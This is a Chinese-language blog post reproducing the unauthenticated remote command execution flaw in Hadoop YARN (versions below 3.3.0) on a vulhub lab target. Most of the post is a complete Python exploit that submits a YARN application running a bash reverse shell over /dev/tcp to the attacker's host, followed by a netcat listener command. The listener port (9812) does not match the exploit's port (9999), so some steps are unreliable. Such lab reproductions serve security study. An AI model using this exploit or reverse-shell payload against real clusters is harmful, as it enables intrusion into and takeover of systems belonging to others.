漏洞复现-hadoop-命令执行
0x00 实验环境
攻击机:Win 10
靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)
0x01 影响版本
hadoop 3.3.0以下
vulhub版本为2.8.1:
0x02 漏洞复现
(1)访问/cluster/apps页面:(该页面存在说明存在未授权访问漏洞)
(2)使用以下官方exp反弹shell
#!/usr/bin/env python import requests target = 'http://127.0.0.1:8088/' lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999 url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)
执行该exp:
python3 unauthorized-yarn-hadoop.py http://xxx:8088 #执行Exp
(3)攻击机开启监听(执行exp之前开启监听):
nc -lvvp 9812
(4)会话获取成功:
0x03 免责声明
本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!